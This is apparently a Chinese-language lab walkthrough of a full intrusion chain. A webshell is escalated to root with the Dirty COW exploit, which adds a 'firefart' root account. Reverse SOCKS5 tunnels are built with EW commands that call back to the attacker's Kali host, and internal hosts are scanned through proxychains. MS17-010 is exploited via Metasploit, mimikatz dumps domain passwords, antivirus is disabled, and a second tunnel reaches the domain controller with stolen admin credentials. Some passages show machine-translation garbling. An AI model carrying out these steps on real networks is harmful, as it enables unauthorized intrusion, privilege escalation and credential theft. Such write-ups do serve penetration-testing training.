通过SOCKS代理渗透整个内部网1 .背景是经过前期的渗透工作,我们现在已经成功找到了网站的漏洞,并且获得了普通的webshell,现在打算用菜刀把它连接起来。
注意:假设这次的环境是在当地建立的,现在什么都不知道,会更现实。
2 .向web服务器移交权限2.1获取漏洞信息获取webshell后,用菜刀连接。 显示权限为apache,系统为redhat6.5。
将linux.sh上载到/tmp目录以获取漏洞信息。
2.2使用肮脏牛的权利1 )漏洞的基本信息
选择CVE-2016-5195提取权限。 该漏洞被称为“脏呼叫”,通过远程入侵获取低权限用户,然后利用该漏洞在Linux系统的完整版本服务器上获取本地权限,以获取服务器的根权限。
漏洞是在Linux内核内存子系统处理“写入时复制”时出现冲突条件(漏洞),导致专用只读存储器映射被破坏,并获得读写权限后被进一步授权的
2 )漏洞利用
在相同版本的redhat系统上使用gcc编译此poc。
将使用菜刀编译的文件dirty上载到此web服务器,并赋予其可执行的权限。 password是密码,可以自由设定。 用这个登录。
如果您查看/etc/passwd文件,则第一行中的文件将始终被修改,root用户将始终被修改为firefart,并且当前拥有最高权限。 正如您已经知道的那样,密码是刚才设置的password。 从较低的apache权限到root权限,提取权限并退出。
3 )通过xshell进行远程连接
因为用菜刀不方便,所以现在用xshell远程连接,连接成功了。 (帐户: firefart,密码: password )
你会发现有两个IP。 我推测拓扑图如下。 windows10和kali被我们控制着,它们在外联网上。 可以访问web服务器的外联网接口192.168.1.120。 另一个IP是192.168.223.166,它应该已连接到内部网,但无法访问。
3 .首次使用SOCKS代理渗透到内部网3.1SOCKS代理1 ) SOCKS
Socks是一种代理服务,可以方便地将一个系统连接到另一个系统,并支持多种协议,包括http、ftp请求和其他类型的请求。 有两种类型: socks 4和socks 5,socks 4只支持TCP协议,socks 5支持TCP/UDP协议,还支持各种认证机制等协议。 那个标准端口是1080。
2 )地球
EW是一种便携式网络透明工具,具有部署SOCKS5服务和端口转发两个主要功能,可在复杂的网络环境中实现网络透明。 该工具可以通过“前向”、“反向”、“多级级联”等方法穿透网络隧道,到达网络深处,适用于不同的操作系统。
3 )代理店
ProxyChains是Linux下的代理工具,kali已经安装。 这样,任何程序都可以通过代理连接到internet,并且TCP和DNS可以通过代理隧道支持HTTP、SOCKS4和SOCKS5类型的代理服务器并配置多个代理。
3.2反弹socks5服务器1 )在kali上
在kali上运行:
./ew _ Linux _ x64-src socks-l 1080-e 1234
此命令表示将向kali添加转发隧道,以将从本地1080端口收到的代理请求转发到1234端口。
2 )在web服务器上
我们刚才在win10已经使用xshell远程连接web服务器,运行:
./ew_linux_x64 -s rssocks -d 192.168.1.109 -e 1234
该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。
3)配置proxychains.conf
现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了。
/etc/proxychains.conf修改内容如下,去掉dynamic_chain的注释,并且在最后的位置添加代理。
4)测试代理服务器是否正常
cp /usr/lib/proxychains3/proxyresolv /usr/qjdmf/
proxyresolv 192.168.223.166
发现代理正常,现在我们已经可以访问192.168.223.166了。
4.渗透主机A 4.1proxychains启动nmap用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网,我们发现只能访问下面这台机器,对它进行扫描:
现在我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网,我们可以访问web服务器的外网接口192.168.1.120,另外一个内网IP是192.168.223.166,它只能访问内网的主机A 192.168.223.174。
4.2proxychains启动msf1)启动msfconsole
2)攻击
选择漏洞利用模块ms17-010,MS17-010漏洞利用模块就是利用windows系统的windows smb远程执行代码漏洞,向Microsoft服务消息块服务器发送经特殊设计的消息后,允许远程代码执行。选择好漏洞利用模块和攻击载荷模块后,配置好参数,开始攻击。
3)获取密码信息
使用mimikatz抓取密码,命令如下:
load mimikatz
kerberos
可以看到域是lingwen,有两个域用户lingwen0001和admin的密码已经破解出来了,都是“lingwen1.”。
4)信息收集
(1)查看系统信息
(2)查看进程
(3)查看系统用户
(4)查看应用软件
(5)查看路由信息和最后登录时间
5)上传ew工具
查看进程号和权限,直接是system,关闭杀毒软件,开启远程桌面协议。
上传ew工具到主机A,为了后面使用这台机器A作为跳板访问其他内网主机。
一般情况下我们输入shell就可以进入目标机的shell下,可是这里不行,之前获得了2个域用户密码,我们尝试远程连接主机A。
4.3远程登录主机A1)远程登录主机A
使用代理启动rdesktop在kali上远程连接主机A,即192.168.223.174,使用之前获得的admin域账号登录。
2)收集域信息
(1)查看域用户和域的数量
(2)查看域里面的组
(3)查看域内所有主机名
(4)查看域管理员
(5)查看域控制器
(6)查看企业管理组
我们发现之前在主机A获得的域用户admin竟然是域管理员账号。
3)查看dns信息
我们终于发现域控的IP是192.168.223.134。
5. 第二次使用SOCKS代理渗透内网 5.1内网拓扑图 5.2再次代理1)分析
(1)第一次socks代理
通过第一次socks代理:在kali上添加一个转接隧道,把1080端口收到的代理请求转交给1234端口;在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。
之后我们在kali通过web服务器做跳板来访问主机A。
(2)现在的问题
虽然我们知道了域控的IP,域管理员的账号和密码,但是现在我们在kali上连接不到域控。如下所示,远程登录失败。
我们可不可以再次代理,使用主机A做跳板,把经过它的流量反弹到web服务器上,用kali连接web服务器。
2)在web服务器上
使用xshell建立新的会话连接web服务器192.168.1.120,在web服务器上运行:
./ew_linux_x64 -s rcsocks -l 6666 -e 5678
该命令的意思是在web服务器上添加一个转接隧道,把本地6666端口收到的代理请求转交给5678端口。
3)在主机A
在kali远程连接主机A,在主机A上运行:
ew_win32.exe -s rssocks -d 192.168.223.166 -e 5678
该命令的意思是在主机A上启动SOCKS5服务,并反弹到IP地址为192.168.223.166(web服务器)的5678端口上。
4)配置proxychains.conf
现在就可以通过访问192.168.1.120:6666端口使用在主机A上架设的SOCKS5代理服务了。
5)远程连接域控
发现现在已经可以访问域控了,使用域管理员账号成功登录。